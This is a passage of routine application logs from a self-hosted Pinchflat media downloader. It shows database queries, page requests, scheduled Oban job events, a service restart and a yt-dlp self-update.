s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:28:21.977 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=705.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [195, 248] 03:28:21.978 [debug] QUERY OK source="settings" db=0.2ms idle=706.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:21.979 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:21.980 [debug] QUERY OK source="settings" db=0.7ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:21.981 [debug] QUERY OK source="media_profiles" db=0.6ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:28:21.983 [info] Sent 200 in 9ms 03:28:32.155 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:52.800 [info] GET /media_profiles 03:28:52.800 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 03:28:52.802 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.3ms idle=1529.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 03:28:52.802 [debug] QUERY OK source="settings" db=0.2ms idle=1530.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.802 [debug] QUERY OK source="settings" db=0.1ms idle=1531.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.803 [debug] QUERY OK source="settings" db=0.2ms idle=1532.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.805 [info] Sent 200 in 4ms 03:28:52.822 [info] GET /settings 03:28:52.822 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 03:28:52.823 [debug] QUERY OK source="settings" db=0.1ms idle=633.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.824 [debug] QUERY OK source="settings" db=0.1ms idle=22.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.824 [debug] QUERY OK source="settings" db=0.3ms idle=21.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.825 [debug] QUERY OK source="settings" db=0.3ms idle=22.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:52.827 [info] Sent 200 in 4ms 03:29:00.123 [info] {"source":"oban","duration":2489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:02.159 [info] {"source":"oban","duration":2811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:32.161 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:34.322 [info] GET /sources/1/media/410 03:29:34.322 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "410", "source_id" => "1"} Pipelines: [:browser] 03:29:34.323 [debug] QUERY OK source="media_items" db=0.8ms idle=1050.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 03:29:34.324 [debug] QUERY OK source="tasks" db=0.8ms idle=1044.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [410] 03:29:34.325 [debug] QUERY OK source="sources" db=0.6ms idle=52.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:29:34.326 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=53.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [198, 251] 03:29:34.327 [debug] QUERY OK source="settings" db=0.8ms idle=45.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:29:34.328 [debug] QUERY OK source="settings" db=0.6ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:29:34.329 [debug] QUERY OK source="settings" db=0.9ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:29:34.330 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:29:34.332 [info] Sent 200 in 10ms 03:30:00.126 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:02.193 [info] {"source":"oban","duration":31313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:32.195 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.128 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:02.205 [info] {"source":"oban","duration":9371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:32.207 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.130 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:02.212 [info] {"source":"oban","duration":3529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:32.213 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.132 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:02.217 [info] {"source":"oban","duration":3160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:32.219 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.138 [info] {"source":"oban","duration":5240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:02.225 [info] {"source":"oban","duration":5009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:32.227 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.140 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:02.236 [info] {"source":"oban","duration":7980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:32.238 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.141 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:02.249 [info] {"source":"oban","duration":9725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:32.251 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.142 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:02.253 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:32.255 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.142 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:02.259 [info] {"source":"oban","duration":2486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:22.192 [notice] SIGTERM received - shutting down 03:38:22.193 [info] DRAINING 1 of 1 total connection(s) for socket Phoenix.LiveView.Socket every 2000ms - round 1 of 1 03:38:22.236 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 03:38:57.603 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:38:57.613 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:38:57.608 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:38:57.613 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:38:57.635 [debug] QUERY OK source="oban_jobs" db=5.2ms queue=45.8ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 03:38:57.635 [info] Reset 0 executing jobs 03:38:57.643 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:38:57.650 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 03:39:02.088 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 03:39:02.088 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 03:39:03.728 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 03:39:03.736 [debug] QUERY OK source="settings" db=2.0ms queue=5.8ms idle=134.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:39:03.741 [debug] QUERY OK source="settings" db=4.9ms idle=142.2ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 03:39:03.744 [debug] QUERY OK source="settings" db=2.6ms idle=147.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:39:03.749 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:39:03.783 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 03:39:03.800 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 03:39:03.807 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 03:39:03.824 [info] {"args":{},"id":258,"meta":{},"system_time":1774175943824078539,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 03:39:03.825 [info] Updating yt-dlp 03:39:03.825 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 03:39:10.716 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 03:39:10.718 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 03:39:12.776 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 03:39:12.782 [debug] QUERY OK source="settings" db=5.8ms idle=1160.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:39:12.786 [debug] QUERY OK source="settings" db=3.4ms queue=0.3ms idle=1166.4ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 03:39:12.788 [info] {"args":{},"id":258,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":8962485,"event":"job:stop","queue_time":819836,"attempt":1,"tags":["local_data"]} 03:39:22.576 [info] CONNECTED TO Phoenix.LiveView.Socket in 40µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "cgUPJRYjCjc1GBQ8RFJ6Nx40JQAeDB0-8V6vBFPALmLywa5AMaG8VFUL", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "1", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 03:39:22.690 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 03:39:22.690 [debug] Replied in 598µs 03:39:22.804 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 03:39:22.804 [debug] Replied in 188µs 03:39:33.777 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.775 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:03.796 [info] {"source":"oban","duration":18151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:33.797 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.777 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:03.800 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:33.801 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.780 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:03.804 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:33.805 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.781 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:03.807 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:33.809 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.782 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:03.812 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:33.813 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.784 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:03.816 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:33.819 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.785 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:03.824 [info] {"source":"oban","duration":4101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:33.826 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.787 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:03.829 [info] {"source":"oban","duration":2943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:33.831 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.788 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:03.832 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:33.834 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.789 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:03.835 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:33.838 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.790 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:03.840 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:33.842 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.791 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:03.844 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:33.846 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.793 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:03.847 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:33.849 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.794 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:03.851 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:33.853 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.795 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:03.856 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:33.857 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.796 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:03.860 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:33.863 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.797 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:03.864 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:33.867 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.798 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:03.868 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:33.870 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.799 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:03.872 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:33.874 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.800 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:03.877 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:33.878 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.801 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:03.889 [info] {"source":"oban","duration":8272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:33.890 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.802 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:03.892 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:33.894 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.803 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:03.898 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:33.899 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.804 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:03.901 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:33.902 [info] 